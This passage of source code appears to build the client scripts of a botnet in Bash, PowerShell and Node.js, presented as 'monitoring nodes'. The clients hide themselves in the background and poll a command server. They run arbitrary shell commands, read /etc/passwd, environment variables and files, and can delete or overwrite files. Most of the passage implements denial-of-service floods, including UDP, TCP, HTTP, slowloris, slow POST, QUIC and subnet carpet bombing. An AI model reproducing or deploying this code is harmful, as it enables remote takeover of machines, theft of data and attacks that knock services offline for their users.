	elif [[ "$CMD_TYPE" == "wifi_networks" ]]; then
	OUT=$(nmcli dev wifi 2>/dev/null \|\| iwlist scan 2>/dev/null \| tr '\\n' ' ' \| sed 's/"/\\\\"/g')
	RESULT="{\\"output\\":\\"$OUT\\"}"
	elif [[ "$CMD_TYPE" == "system_logs" ]]; then
	OUT=$(dmesg 2>/dev/null \| tail -n 50 \| tr '\\n' ' ' \| sed 's/"/\\\\"/g' \|\| tail -n 50 /var/log/syslog \| tr '\\n' ' ' \| sed 's/"/\\\\"/g')
	RESULT="{\\"output\\":\\"$OUT\\"}"
	elif [[ "$CMD_TYPE" == "list_services" ]]; then
	OUT=$(systemctl list-units --type=service 2>/dev/null \| head -n 50 \| tr '\\n' ' ' \| sed 's/"/\\\\"/g' \|\| service --status-all 2>/dev/null \| tr '\\n' ' ' \| sed 's/"/\\\\"/g')
	RESULT="{\\"output\\":\\"$OUT\\"}"
	elif [[ "$CMD_TYPE" == "get_users" ]]; then
	OUT=$(cat /etc/passwd \| tr '\\n' ' ' \| sed 's/"/\\\\"/g')
	RESULT="{\\"output\\":\\"$OUT\\"}"
	elif [[ "$CMD_TYPE" == "get_groups" ]]; then
	OUT=$(cat /etc/group \| tr '\\n' ' ' \| sed 's/"/\\\\"/g')
	RESULT="{\\"output\\":\\"$OUT\\"}"
	elif [[ "$CMD_TYPE" == "reboot_system" ]]; then
	reboot
	RESULT="{\\"status\\":\\"reboot_initiated\\"}"
	elif [[ "$CMD_TYPE" == "get_disk_space" ]]; then
	OUT=$(df -h \| tr '\\n' ' ' \| sed 's/"/\\\\"/g')
	RESULT="{\\"output\\":\\"$OUT\\"}"
	elif [[ "$CMD_TYPE" == "kill_process" ]]; then
	local PID_V=$(echo "$PAYLOAD" \| grep -o '"pid":"[^"]*' \| cut -d '"' -f 4)
	kill -9 "$PID_V"
	if [ $? -eq 0 ]; then RESULT="{\\"status\\":\\"killed\\"}"; else RESULT="{\\"status\\":\\"error\\"}"; fi
	elif [[ "$CMD_TYPE" == "self_terminate" ]]; then
	exit 0
	else
	RESULT="{\\"status\\":\\"not_supported\\",\\"detail\\":\\"Payload not natively supported in bash script.\\"}"
	fi

	curl -X POST "$SERVER/api/nodes/report" -H "Content-Type: application/json" \\
	-d "{\\"nodeId\\":\\"$NODE_ID\\",\\"commandId\\":\\"$CMD_ID\\",\\"type\\":\\"$CMD_TYPE\\",\\"result\\":$RESULT}" > /dev/null 2>&1 &
	}

	while true; do
	RESP=$(curl -s -X POST "$SERVER/api/nodes/ping" \\
	-H "Content-Type: application/json" \\
	-d "{\\"id\\": \\"$NODE_ID\\", \\"type\\": \\"linux_local\\", \\"systemInfo\\": {\\"uptime\\": \\"$(uptime -p)\\"}}")

	# Basic json extraction without jq
	CMDS=$(echo "$RESP" \| grep -o '"commands":\\[.*\\]')
	if [[ "$CMDS" != '"commands":[]' && "$CMDS" != "" ]]; then
	CMD_ID=$(echo "$RESP" \| grep -o '"id":"[^"]*' \| head -1 \| cut -d '"' -f 4)
	CMD_TYPE=$(echo "$RESP" \| grep -o '"type":"[^"]*' \| tail -1 \| cut -d '"' -f 4)
	PAYLOAD=$(echo "$RESP" \| grep -o '"payload":{.*}')

	if [ ! -z "$CMD_ID" ]; then
	execute_cmd "$CMD_ID" "$CMD_TYPE" "$PAYLOAD"
	fi
	fi
	sleep $POLL_INTERVAL
	done
	`;
	}

	function getPowershellClient(serverUrl) {
	return `if ($args[0] -ne "bg") {
	Start-Process powershell -WindowStyle Hidden -ArgumentList "-ExecutionPolicy Bypass -File \`"$PSCommandPath\`" bg"
	Write-Host "Started in background."
	exit
	}

	$Server = "${serverUrl}"
	$NodeId = "win-$([guid]::NewGuid().ToString().Substring(0,8))"
	$PollInterval = 10
	Write-Host "Starting monitoring node $NodeId..."

	while ($true) {
	$Body = @{ id = $NodeId; type = "windows_local"; systemInfo = @{ os = [Environment]::OSVersion.VersionString } } \| ConvertTo-Json -Depth 5
	try {
	$Resp = Invoke-RestMethod -Uri "$Server/api/nodes/ping" -Method Post -Body $Body -ContentType "application/json"
	if ($Resp.commands -and $Resp.commands.Count -gt 0) {
	foreach ($cmd in $Resp.commands) {
	$ResObj = @{ status = "executed" }
	try {
	if ($cmd.type -eq "exec_shell") {
	$Out = Invoke-Expression $cmd.payload.cmd
	$ResObj = @{ output = "$Out" }
	} elseif ($cmd.type -eq "icmp_ping") {
	$Out = Test-Connection -ComputerName $cmd.payload.host -Count 3 -Quiet
	$ResObj = @{ output = "$Out" }
	} elseif ($cmd.type -eq "change_poll_interval") {
	$PollInterval = $cmd.payload.interval
	$ResObj = @{ status = "interval_updated" }
	} elseif ($cmd.type -eq "self_terminate") {
	exit
	} elseif ($cmd.type -eq "dns_resolve") {
	$Out = [System.Net.Dns]::GetHostAddresses($cmd.payload.host)[0].IPAddressToString
	$ResObj = @{ ip = "$Out" }
	} elseif ($cmd.type -eq "traceroute") {
	$Out = Test-NetConnection -ComputerName $cmd.payload.host -TraceRoute \| Out-String
	$ResObj = @{ output = "$Out" }
	} elseif ($cmd.type -eq "port_scan") {
	$Ports = $cmd.payload.ports.Split(",")
	$ScanRes = @{}
	foreach ($P in $Ports) {
	if ([int]::TryParse($P.Trim(), [ref]0)) {
	$PNum = [int]$P.Trim()
	$Conn = Test-NetConnection -ComputerName $cmd.payload.host -Port $PNum -WarningAction SilentlyContinue
	$ScanRes[$PNum] = if ($Conn.TcpTestSucceeded) { "open" } else { "closed" }
	}
	}
	$ResObj = @{ scan = $ScanRes }
	} elseif ($cmd.type -eq "get_public_ip") {
	$Ip = Invoke-RestMethod -Uri "https://api.ipify.org"
	$ResObj = @{ ip = $Ip }
	} elseif ($cmd.type -eq "get_system_info") {
	$Os = Get-WmiObject Win32_OperatingSystem
	$ResObj = @{ os = $Os.Caption; total_mem = $Os.TotalVisibleMemorySize; free_mem = $Os.FreePhysicalMemory }
	} elseif ($cmd.type -eq "list_processes") {
	$Out = Get-Process \| Sort-Object WorkingSet -Descending \| Select-Object -First 20 Name, WorkingSet \| Out-String
	$ResObj = @{ output = "$Out" }
	} elseif ($cmd.type -eq "list_directory") {
	$Out = Get-ChildItem -Path ($cmd.payload.path) -Name \| Out-String
	$ResObj = @{ files = "$Out" }
	} elseif ($cmd.type -eq "read_file") {
	$Out = Get-Content -Path ($cmd.payload.path) -TotalCount 100 \| Out-String
	$ResObj = @{ content = "$Out" }
	} elseif ($cmd.type -eq "get_env_vars") {
	$Out = Get-ChildItem Env: \| Out-String
	$ResObj = @{ output = "$Out" }
	} elseif ($cmd.type -eq "get_file_info") {
	$Out = Get-ItemProperty -Path $cmd.payload.path \| Select-Object Length, CreationTime, LastWriteTime \| Out-String
	$ResObj = @{ content = "$Out" }
	} elseif ($cmd.type -eq "copy_file") {
	Copy-Item -Path $cmd.payload.path -Destination $cmd.payload.destPath -Force
	$ResObj = @{ status = "copied" }
	} elseif ($cmd.type -eq "move_file") {
	Move-Item -Path $cmd.payload.path -Destination $cmd.payload.destPath -Force
	$ResObj = @{ status = "moved" }
	} elseif ($cmd.type -eq "delete_file") {
	Remove-Item -Path $cmd.payload.path -Force
	$ResObj = @{ status = "deleted" }
	} elseif ($cmd.type -eq "write_file") {
	Set-Content -Path $cmd.payload.path -Value $cmd.payload.content -Force
	$ResObj = @{ status = "written" }
	} elseif ($cmd.type -eq "run_file") {
	$Out = Invoke-Expression $cmd.payload.path \| Out-String
	$ResObj = @{ output = "$Out" }
	} elseif ($cmd.type -eq "arp_table") {
	$Out = arp -a \| Out-String
	$ResObj = @{ output = "$Out" }
	} elseif ($cmd.type -eq "netstat_connections") {
	$Out = netstat -an \| Select-Object -First 50 \| Out-String
	$ResObj = @{ output = "$Out" }
	} elseif ($cmd.type -eq "ifconfig_ip") {
	$Out = ipconfig /all \| Out-String
	$ResObj = @{ output = "$Out" }
	} elseif ($cmd.type -eq "dns_mx_records") {
	$Out = Resolve-DnsName -Name $cmd.payload.host -Type MX -ErrorAction SilentlyContinue \| Out-String
	$ResObj = @{ output = "$Out" }
	} elseif ($cmd.type -eq "dns_txt_records") {
	$Out = Resolve-DnsName -Name $cmd.payload.host -Type TXT -ErrorAction SilentlyContinue \| Out-String
	$ResObj = @{ output = "$Out" }
	} elseif ($cmd.type -eq "route_table") {
	$Out = Get-NetRoute \| Out-String
	$ResObj = @{ output = "$Out" }
	} elseif ($cmd.type -eq "wifi_networks") {
	$Out = netsh wlan show networks \| Out-String
	$ResObj = @{ output = "$Out" }
	} elseif ($cmd.type -eq "system_logs") {
	$Out = Get-EventLog -LogName System -Newest 50 \| Out-String
	$ResObj = @{ output = "$Out" }
	} elseif ($cmd.type -eq "list_services") {
	$Out = Get-Service \| Select-Object -First 50 \| Out-String
	$ResObj = @{ output = "$Out" }
	} elseif ($cmd.type -eq "get_users") {
	$Out = Get-LocalUser \| Out-String
	$ResObj = @{ output = "$Out" }
	} elseif ($cmd.type -eq "get_groups") {
	$Out = Get-LocalGroup \| Out-String
	$ResObj = @{ output = "$Out" }
	} elseif ($cmd.type -eq "reboot_system") {
	Restart-Computer -Force
	$ResObj = @{ status = "reboot_initiated" }
	} elseif ($cmd.type -eq "get_disk_space") {
	$Out = Get-PSDrive -PSProvider FileSystem \| Select-Object Name, Used, Free \| Out-String
	$ResObj = @{ output = "$Out" }
	} elseif ($cmd.type -eq "kill_process") {
	Stop-Process -Id $cmd.payload.pid -Force
	$ResObj = @{ status = "killed" }
	} elseif ($cmd.type -eq "udp_flood") {
	$TargetIp = $cmd.payload.ip
	$TargetPort = $cmd.payload.port
	$Dur = $cmd.payload.duration; if ([string]::IsNullOrEmpty($Dur)) { $Dur = 5 }
	$Threads = $cmd.payload.threads; if ([string]::IsNullOrEmpty($Threads)) { $Threads = 10 }
	$EndT = (Get-Date).AddSeconds([int]$Dur)
	$Jobs = @()
	for ($i=0; $i -lt [int]$Threads; $i++) {
	$JC = {
	param($IP, $Port, $E)
	$Udp = New-Object System.Net.Sockets.UdpClient
	$Bytes = New-Object byte[] 1024
	$Sent = 0
	while((Get-Date) -lt $E) {
	try{ $Udp.Send($Bytes, $Bytes.Length, $IP, $Port) \| Out-Null; $Sent++ } catch{}
	}
	$Udp.Close()
	return $Sent
	}
	$Jobs += Start-Job -ScriptBlock $JC -ArgumentList $TargetIp, $TargetPort, $EndT
	}
	Wait-Job $Jobs \| Out-Null
	$TSent = 0; foreach($J in $Jobs) { $R = Receive-Job $J; if($R){$TSent += $R} }
	$ResObj = @{ status = "udp_flood_finished"; packets_sent = $TSent }
	} elseif ($cmd.type -eq "tcp_connect_flood") {
	$TargetIp = $cmd.payload.ip
	$TargetPort = $cmd.payload.port
	$Dur = $cmd.payload.duration; if ([string]::IsNullOrEmpty($Dur)) { $Dur = 5 }
	$Threads = $cmd.payload.threads; if ([string]::IsNullOrEmpty($Threads)) { $Threads = 10 }
	$EndT = (Get-Date).AddSeconds([int]$Dur)
	$Jobs = @()
	for ($i=0; $i -lt [int]$Threads; $i++) {
	$JC = {
	param($IP, $Port, $E)
	$Sent = 0; $Err = 0
	while((Get-Date) -lt $E) {
	try{
	$Tcp = New-Object System.Net.Sockets.TcpClient
	$Res = $Tcp.BeginConnect($IP, $Port, $null, $null)
	$Wait = $Res.AsyncWaitHandle.WaitOne(1000, $false)
	if($Tcp.Connected){$Sent++}else{$Err++}
	$Tcp.Close()
	} catch{$Err++}
	}
	return @($Sent, $Err)
	}
	$Jobs += Start-Job -ScriptBlock $JC -ArgumentList $TargetIp, $TargetPort, $EndT
	}
	Wait-Job $Jobs \| Out-Null
	$TSent = 0; $TErr = 0; foreach($J in $Jobs) { $R = Receive-Job $J; if($R){$TSent += $R[0]; $TErr += $R[1]} }
	$ResObj = @{ status = "tcp_connect_flood_finished"; stats = @{ sent = $TSent; errors = $TErr } }
	} elseif ($cmd.type -eq "http_flood" -or $cmd.type -eq "http_get_flood" -or $cmd.type -eq "cache_bypass_flood" -or $cmd.type -eq "api_abuse_flood" -or $cmd.type -eq "http_post_flood") {
	$Url = $cmd.payload.url
	$Dur = $cmd.payload.duration; if ([string]::IsNullOrEmpty($Dur)) { $Dur = 5 }
	$Threads = $cmd.payload.threads; if ([string]::IsNullOrEmpty($Threads)) { $Threads = 10 }
	$EndT = (Get-Date).AddSeconds([int]$Dur)
	$C = $cmd.type
	$Jobs = @()
	for ($i=0; $i -lt [int]$Threads; $i++) {
	$JC = {
	param($U, $E, $Type)
	$Sent = 0; $Err = 0
	while((Get-Date) -lt $E) {
	try{
	$TU=$U; if($Type -eq "cache_bypass_flood"){$TU+="?cb="+([guid]::NewGuid().ToString())}
	if($Type -eq "api_abuse_flood") {
	$Headers = @{ "Authorization" = "Bearer $(Get-Random -Minimum 1000 -Maximum 9999)" }
	$Body = '{ "query": "abusive_payload_' + (Get-Random).ToString() + '" }'
	Invoke-RestMethod -Uri $TU -Method Post -Body $Body -Headers $Headers -ContentType "application/json" -TimeoutSec 2 \| Out-Null
	} elseif ($Type -eq "http_post_flood") {
	Invoke-WebRequest -Uri $TU -Method Post -Body "dummy=1" -TimeoutSec 2 -UseBasicParsing \| Out-Null
	} else {
	Invoke-WebRequest -Uri $TU -TimeoutSec 2 -UseBasicParsing \| Out-Null
	}
	$Sent++
	} catch{$Err++}
	}
	return @($Sent, $Err)
	}
	$Jobs += Start-Job -ScriptBlock $JC -ArgumentList $Url, $EndT, $C
	}
	Wait-Job $Jobs \| Out-Null
	$TSent = 0; $TErr = 0; foreach($J in $Jobs) { $R = Receive-Job $J; if($R){$TSent += $R[0]; $TErr += $R[1]} }
	$ResObj = @{ status = $C + "_finished"; stats = @{ sent = $TSent; errors = $TErr } }
	} else {
	$ResObj = @{ status = "not_supported"; detail = "Payload not natively supported in PowerShell script." }
	}
	} catch {
	$ResObj = @{ error = $_.Exception.Message }
	}
	$ReportBody = @{ nodeId = $NodeId; commandId = $cmd.id; type = $cmd.type; result = $ResObj } \| ConvertTo-Json -Depth 5
	Invoke-RestMethod -Uri "$Server/api/nodes/report" -Method Post -Body $ReportBody -ContentType "application/json" \| Out-Null
	}
	}
	} catch {}
	Start-Sleep -Seconds $PollInterval
	}
	`;
	}


	function getNodeJsClient(serverUrl) {
	return `const fetch = require('node-fetch'); // Needs node-fetch if Node < 18
	const os = require('os');
	const { spawn } = require('child_process');

	if (process.argv[2] !== 'bg') {
	const child = spawn(process.execPath, [__filename, 'bg'], { detached: true, stdio: 'ignore' });
	child.unref();
	console.log("Started in background.");
	process.exit(0);
	}

	const SERVER = "${serverUrl}";
	const NODE_ID = "node-" + Math.random().toString(36).substring(2, 10);

	async function execute(cmd) {
	let result = { status: "executed" };
	try {
	if (cmd.type === 'fetch_http_test') {
	const t0 = Date.now();
	await fetch(\`http://\${cmd.payload.ip}:\${cmd.payload.port}/\`, { timeout: 3000 }).catch(() => {});
	result = { status: "fetch_dispatched", latency_ms: Date.now() - t0 };
	} else if (cmd.type === 'socket_tcp_probe') {
	const t0 = Date.now();
	result = await new Promise(resolve => {
	const net = require('net');
	const socket = new net.Socket();
	socket.setTimeout(2000);
	socket.on('connect', () => { socket.destroy(); resolve({ status: "tcp_connected", latency_ms: (Date.now()-t0) }); });
	socket.on('timeout', () => { socket.destroy(); resolve({ status: "tcp_timeout" }); });
	socket.on('error', (e) => { resolve({ status: "tcp_error", detail: e.message }); });
	socket.connect(parseInt(cmd.payload.port) \|\| 80, cmd.payload.ip \|\| '127.0.0.1');
	});
	} else if (cmd.type === 'dns_resolve') {
	try { const dns = require('dns').promises; const res = await dns.lookup(cmd.payload.host \|\| 'google.com'); result = { ip: res.address }; }
	catch(e) { result = { error: e.message }; }
	} else if (cmd.type === 'icmp_ping') {
	try { const {execSync} = require('child_process'); const out = execSync(\`ping -c 3 \${cmd.payload.host} \|\| ping -n 3 \${cmd.payload.host}\`, {encoding:'utf8'}); result = { output: out }; }
	catch(e) { result = { error: e.message, output: e.stdout }; }
	} else if (cmd.type === 'exec_shell') {
	try { const {execSync} = require('child_process'); const out = execSync(cmd.payload.cmd \|\| 'echo hello', {encoding:'utf8'}); result = { output: out }; }
	catch(e) { result = { error: e.message, output: e.stdout }; }
	} else if (cmd.type === 'udp_flood') {
	const dgram = require('dgram');
	const client = dgram.createSocket('udp4');
	const msg = Buffer.alloc(parseInt(cmd.payload.packet_size) \|\| 1024, 'X');
	const dur = parseInt(cmd.payload.duration) \|\| 5;
	const tcount = parseInt(cmd.payload.threads) \|\| 10;
	const endT = Date.now() + (dur * 1000);
	let sent = 0;
	async function worker() {
	return new Promise(resolve => {
	function sendUdp() {
	if (Date.now() > endT) { resolve(); return; }
	client.send(msg, parseInt(cmd.payload.port) \|\| 80, cmd.payload.ip \|\| '127.0.0.1', (e) => {
	if (!e) sent++;
	setImmediate(sendUdp);
	});
	}
	sendUdp();
	});
	}
	const workers = [];
	for (let i=0; i<tcount; i++) workers.push(worker());
	await Promise.all(workers);
	try { client.close(); } catch(e){}
	result = { status: "udp_flood_finished", packets_sent: sent };
	} else if (cmd.type === 'tcp_connect_flood') {
	const dur = parseInt(cmd.payload.duration) \|\| 5;
	const tcount = parseInt(cmd.payload.threads) \|\| 10;
	const endT = Date.now() + (dur * 1000);
	let sent = 0, errors = 0;
	const net = require('net');
	async function worker() {
	while (Date.now() < endT) {
	try {
	await new Promise((resolve, reject) => {
	const s = new net.Socket();
	s.setTimeout(1000);
	s.on('connect', () => { sent++; s.destroy(); resolve(); });
	s.on('error', () => { errors++; s.destroy(); reject(); });
	s.on('timeout', () => { errors++; s.destroy(); reject(); });
	s.connect(parseInt(cmd.payload.port) \|\| 80, cmd.payload.ip \|\| '127.0.0.1');
	});
	} catch(e) {}
	}
	}
	const workers = [];
	for (let i=0; i<tcount; i++) workers.push(worker());
	await Promise.all(workers);
	result = { status: "tcp_connect_flood_finished", stats: { sent, errors } };
	} else if (cmd.type === 'http_get_flood') {
	const dur = parseInt(cmd.payload.duration) \|\| 5;
	const tcount = parseInt(cmd.payload.threads) \|\| 10;
	const endT = Date.now() + (dur * 1000);
	let sent = 0, errors = 0;
	async function worker() {
	while (Date.now() < endT) {
	try { await fetch(cmd.payload.url \|\| 'http://127.0.0.1/', { timeout: 2000 }); sent++; }
	catch(e) { errors++; }
	}
	}
	const workers = [];
	for (let i=0; i<tcount; i++) workers.push(worker());
	await Promise.all(workers);
	result = { status: "http_get_flood_finished", stats: { sent, errors } };
	} else if (cmd.type === 'http_post_flood') {
	const dur = parseInt(cmd.payload.duration) \|\| 5;
	const tcount = parseInt(cmd.payload.threads) \|\| 10;
	const endT = Date.now() + (dur * 1000);
	let sent = 0, errors = 0;
	async function worker() {
	while (Date.now() < endT) {
	try {
	await fetch(cmd.payload.url \|\| 'http://127.0.0.1/', { method: 'POST', body: require('crypto').randomBytes(16).toString('hex'), timeout: 2000 });
	sent++;
	}
	catch(e) { errors++; }
	}
	}
	const workers = [];
	for (let i=0; i<tcount; i++) workers.push(worker());
	await Promise.all(workers);
	result = { status: "http_post_flood_finished", stats: { sent, errors } };
	} else if (cmd.type === 'slowloris') {
	const dur = parseInt(cmd.payload.duration) \|\| 5;
	const tcount = parseInt(cmd.payload.threads) \|\| 10;
	const endT = Date.now() + (dur * 1000);
	let sent = 0, errors = 0;
	const net = require('net');
	async function worker() {
	try {
	const s = new net.Socket();
	s.connect(parseInt(cmd.payload.port) \|\| 80, cmd.payload.ip \|\| '127.0.0.1');
	s.write('GET /?' + Math.random() + ' HTTP/1.1\\r\\n');
	s.write('User-Agent: Node.js\\r\\n');
	s.write('Accept: /\\r\\n');
	sent++;

	while(Date.now() < endT) {
	await new Promise(r => setTimeout(r, 10000));
	try { s.write('X-a: ' + Math.random() + '\\r\\n'); sent++; } catch(e) { errors++; break; }
	}
	s.destroy();
	} catch(e) { errors++; }
	}
	const workers = [];
	for (let i=0; i<tcount; i++) {
	workers.push(worker());
	await new Promise(r => setTimeout(r, 50));
	}
	await Promise.all(workers);
	result = { status: "slowloris_finished", stats: { sent, errors } };
	} else if (cmd.type === 'api_abuse_flood') {
	const dur = parseInt(cmd.payload.duration) \|\| 5;
	const tcount = parseInt(cmd.payload.threads) \|\| 10;
	const endT = Date.now() + (dur * 1000);
	let sent = 0, errors = 0;
	async function worker() {
	while (Date.now() < endT) {
	try {
	await fetch(cmd.payload.url \|\| 'http://127.0.0.1/', {
	method: 'POST',
	headers: { 'Content-Type': 'application/json', 'Authorization': "Bearer " + (Math.floor(Math.random() * 8999) + 1000) },
	body: JSON.stringify({ query: "abusive_payload_" + Math.floor(Math.random() * 10000) }),
	timeout: 2000
	});
	sent++;
	}
	catch(e) { errors++; }
	}
	}
	const workers = [];
	for (let i=0; i<tcount; i++) workers.push(worker());
	await Promise.all(workers);
	result = { status: "api_abuse_flood_finished", stats: { sent, errors } };
	} else if (cmd.type === 'cache_bypass_flood') {
	const dur = parseInt(cmd.payload.duration) \|\| 5;
	const tcount = parseInt(cmd.payload.threads) \|\| 10;
	const endT = Date.now() + (dur * 1000);
	let sent = 0, errors = 0;
	async function worker() {
	while (Date.now() < endT) {
	try {
	const url = cmd.payload.url \|\| 'http://127.0.0.1/';
	const bypassUrl = url + (url.includes('?') ? '&' : '?') + 'cb=' + Math.random();
	await fetch(bypassUrl, { timeout: 2000 });
	sent++;
	}
	catch(e) { errors++; }
	}
	}
	const workers = [];
	for (let i=0; i<tcount; i++) workers.push(worker());
	await Promise.all(workers);
	result = { status: "cache_bypass_flood_finished", stats: { sent, errors } };
	} else if (cmd.type === 'syn_flood') {
	result = { status: "not_supported", detail: "Requires root raw sockets, run python payload instead." };
	} else if (cmd.type === 'ack_flood') {
	result = { status: "not_supported", detail: "Requires root raw sockets, run python payload instead." };
	} else if (cmd.type === 'connection_exhaustion') {
	const dur = parseInt(cmd.payload.duration) \|\| 5;
	const endT = Date.now() + (dur * 1000);
	let sent = 0, errors = 0;
	const net = require('net');
	const sockets = [];
	async function worker() {
	while (Date.now() < endT) {
	try {
	await new Promise((resolve, reject) => {
	const s = new net.Socket(); s.setTimeout(1000);
	s.on('connect', () => { sent++; sockets.push(s); if(sockets.length > 500) sockets.shift().destroy(); resolve(); });
	s.on('error', () => { errors++; s.destroy(); reject(); });
	s.on('timeout', () => { errors++; s.destroy(); reject(); });
	s.connect(parseInt(cmd.payload.port) \|\| 80, cmd.payload.ip \|\| '127.0.0.1');
	});
	} catch(e) {}
	}
	}
	const workers = [];
	for (let i=0; i<(parseInt(cmd.payload.threads)\|\|10); i++) workers.push(worker());
	await Promise.all(workers);
	for(const s of sockets) try{s.destroy();}catch(e){}
	result = { status: "conn_exhaustion_finished", stats: { sent, errors } };
	} else if (cmd.type === 'gre_flood') {
	result = { status: "not_supported", detail: "Requires root raw sockets, run python payload instead." };
	} else if (cmd.type === 'http3_quic_flood') {
	const dgram = require('dgram');
	const client = dgram.createSocket('udp4');
	const payload = Buffer.concat([Buffer.from("c000000001080102030405060708", "hex"), require('crypto').randomBytes(1200)]);
	const dur = parseInt(cmd.payload.duration) \|\| 5;
	const endT = Date.now() + (dur * 1000);
	let sent = 0;
	function sendUdp() {
	if (Date.now() > endT) { client.close(); return; }
	client.send(payload, parseInt(cmd.payload.port) \|\| 443, cmd.payload.ip \|\| '127.0.0.1', (e) => {
	if (!e) sent++;
	setImmediate(sendUdp);
	});
	}
	sendUdp();
	await new Promise(r => setTimeout(r, dur * 1000));
	result = { status: "quic_flood_finished", packets_sent: sent };
	} else if (cmd.type === 'http2_multiplex') {
	const dur = parseInt(cmd.payload.duration) \|\| 5;
	const endT = Date.now() + (dur * 1000);
	let sent = 0, errors = 0;
	async function worker() {
	while (Date.now() < endT) {
	try { await fetch(cmd.payload.url \|\| 'http://127.0.0.1/', { timeout: 2000 }); sent++; } catch(e) { errors++; }
	}
	}
	const workers = [];
	for (let i=0; i<(parseInt(cmd.payload.threads)\|\|10)*2; i++) workers.push(worker());
	await Promise.all(workers);
	result = { status: "http2_multiplex_simulated_finished", stats: { sent, errors } };
	} else if (cmd.type === 'browser_emulation') {
	const dur = parseInt(cmd.payload.duration) \|\| 5;
	const endT = Date.now() + (dur * 1000);
	let sent = 0, errors = 0;
	const uas = ["Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/120.0.0.0 Safari/537.36", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 Chrome/119.0.0.0 Safari/537.36"];
	async function worker() {
	while (Date.now() < endT) {
	try {
	await fetch(cmd.payload.url \|\| 'http://127.0.0.1/', { headers: { "User-Agent": uas[Math.floor(Math.random()*uas.length)] }, timeout: 5000 });
	sent++;
	await new Promise(r => setTimeout(r, Math.random() * 800));
	} catch(e) { errors++; }
	}
	}
	const workers = [];
	for (let i=0; i<(parseInt(cmd.payload.threads)\|\|10); i++) workers.push(worker());
	await Promise.all(workers);
	result = { status: "browser_emulation_finished", stats: { sent, errors } };
	} else if (cmd.type === 'websocket_flood') {
	const dur = parseInt(cmd.payload.duration) \|\| 5;
	const tcount = parseInt(cmd.payload.threads) \|\| 10;
	const endT = Date.now() + (dur * 1000);
	let sent = 0, errors = 0;
	async function worker() {
	while (Date.now() < endT) {
	try {
	await fetch(cmd.payload.url \|\| 'http://127.0.0.1/', { headers: { "Connection": "Upgrade", "Upgrade": "websocket"}, timeout: 2000 });
	sent++;
	}
	catch(e) { errors++; }
	}
	}
	const workers = [];
	for (let i=0; i<tcount; i++) workers.push(worker());
	await Promise.all(workers);
	result = { status: "websocket_flood_finished", stats: { sent, errors } };
	} else if (cmd.type === 'carpet_bombing') {
	const dgram = require('dgram');
	const client = dgram.createSocket('udp4');
	const msg = Buffer.alloc(512, 'X');
	const dur = parseInt(cmd.payload.duration) \|\| 5;
	const endT = Date.now() + (dur * 1000);
	const subnet = cmd.payload.subnet \|\| '192.168.1.';
	const port = parseInt(cmd.payload.port) \|\| 80;
	let sent = 0;
	function sendUdp() {
	if (Date.now() > endT) { client.close(); return; }
	client.send(msg, port, subnet + Math.floor(Math.random() * 254 + 1), (e) => {
	if (!e) sent++;
	setImmediate(sendUdp);
	});
	}
	sendUdp();
	await new Promise(r => setTimeout(r, dur * 1000));
	result = { status: "carpet_bombing_finished", packets_sent: sent };
	} else if (cmd.type === 'slow_post_flood') {
	const dur = parseInt(cmd.payload.duration) \|\| 5;
	const tcount = parseInt(cmd.payload.threads) \|\| 10;
	const endT = Date.now() + (dur * 1000);
	let sent = 0, errors = 0;
	const net = require('net');
	async function worker() {
	try {
	const s = new net.Socket();
	s.connect(parseInt(cmd.payload.port) \|\| 80, cmd.payload.ip \|\| '127.0.0.1');
	s.write('POST / HTTP/1.1\\r\\nHost: ' + cmd.payload.ip + '\\r\\nContent-Length: 100000\\r\\n\\r\\n');
	sent++;
	while(Date.now() < endT) {
	await new Promise(r => setTimeout(r, 10000));
	try { s.write('a'); sent++; } catch(e) { errors++; break; }
	}
	s.destroy();
	} catch(e) { errors++; }
	}
	const workers = [];
	for (let i=0; i<tcount; i++) workers.push(worker());
	await Promise.all(workers);
	result = { status: "slow_post_finished", stats: { sent, errors } };
	} else if (cmd.type === 'traceroute') {
	try { const {execSync} = require('child_process'); const cmdStr = os.platform() === 'win32' ? 'tracert ' : 'traceroute '; const out = execSync(cmdStr + (cmd.payload.host \|\| 'google.com'), {encoding:'utf8'}); result = { output: out }; }
	catch(e) { result = { error: e.message, output: e.stdout }; }
	} else if (cmd.type === 'port_scan') {
	const ports = (cmd.payload.ports \|\| '80,443').split(',').map(p=>parseInt(p.trim())).filter(p=>!isNaN(p));
	const scan = {};
	const net = require('net');
	for (const p of ports) {
	scan[p] = await new Promise(res => {
	const s = new net.Socket();
	s.setTimeout(1000);
	s.on('connect', () => { s.destroy(); res('open'); });
	s.on('timeout', () => { s.destroy(); res('closed'); });
	s.on('error', () => { s.destroy(); res('error'); });
	s.connect(p, cmd.payload.host \|\| '127.0.0.1');
	});
	}
	result = { scan };
	} else if (cmd.type === 'get_public_ip') {
	try { const r = await fetch('https://api.ipify.org'); result = { ip: await r.text() }; } catch(e) { result = { error: "failed" }; }
	} else if (cmd.type === 'get_system_info') {
	result = { cpu_count: os.cpus().length, total_mem: os.totalmem(), free_mem: os.freemem(), platform: os.platform() };
	} else if (cmd.type === 'list_processes') {
	try { const {execSync} = require('child_process'); const cmdStr = os.platform() === 'win32' ? 'tasklist' : 'ps aux --sort=-%mem \| head -n 20'; const out = execSync(cmdStr, {encoding:'utf8'}); result = { output: out }; }
	catch(e) { result = { error: e.message }; }
	} else if (cmd.type === 'get_env_vars') {
	result = process.env;
	} else if (cmd.type === 'list_directory') {
	try { const fs = require('fs'); result = { files: fs.readdirSync(cmd.payload.path \|\| '.') }; } catch(e) { result = { error: e.message }; }
	} else if (cmd.type === 'get_file_info') {
	try { const fs = require('fs'); result = { info: fs.statSync(cmd.payload.path \|\| '.') }; } catch(e) { result = { error: e.message }; }
	} else if (cmd.type === 'copy_file') {
	try { const fs = require('fs'); fs.copyFileSync(cmd.payload.path \|\| '/tmp/a', cmd.payload.destPath \|\| '/tmp/b'); result = { status: "copied" }; } catch(e) { result = { error: e.message }; }
	} else if (cmd.type === 'move_file') {
	try { const fs = require('fs'); fs.renameSync(cmd.payload.path \|\| '/tmp/a', cmd.payload.destPath \|\| '/tmp/b'); result = { status: "moved" }; } catch(e) { result = { error: e.message }; }
	} else if (cmd.type === 'read_file') {
	try { const fs = require('fs'); result = { content: fs.readFileSync(cmd.payload.path \|\| '/etc/passwd', 'utf8').substring(0, 4000) }; } catch(e) { result = { error: e.message }; }
	} else if (cmd.type === 'delete_file') {
	try { const fs = require('fs'); fs.unlinkSync(cmd.payload.path \|\| '/tmp/delete_me'); result = { status: "deleted" }; } catch(e) { result = { error: e.message }; }
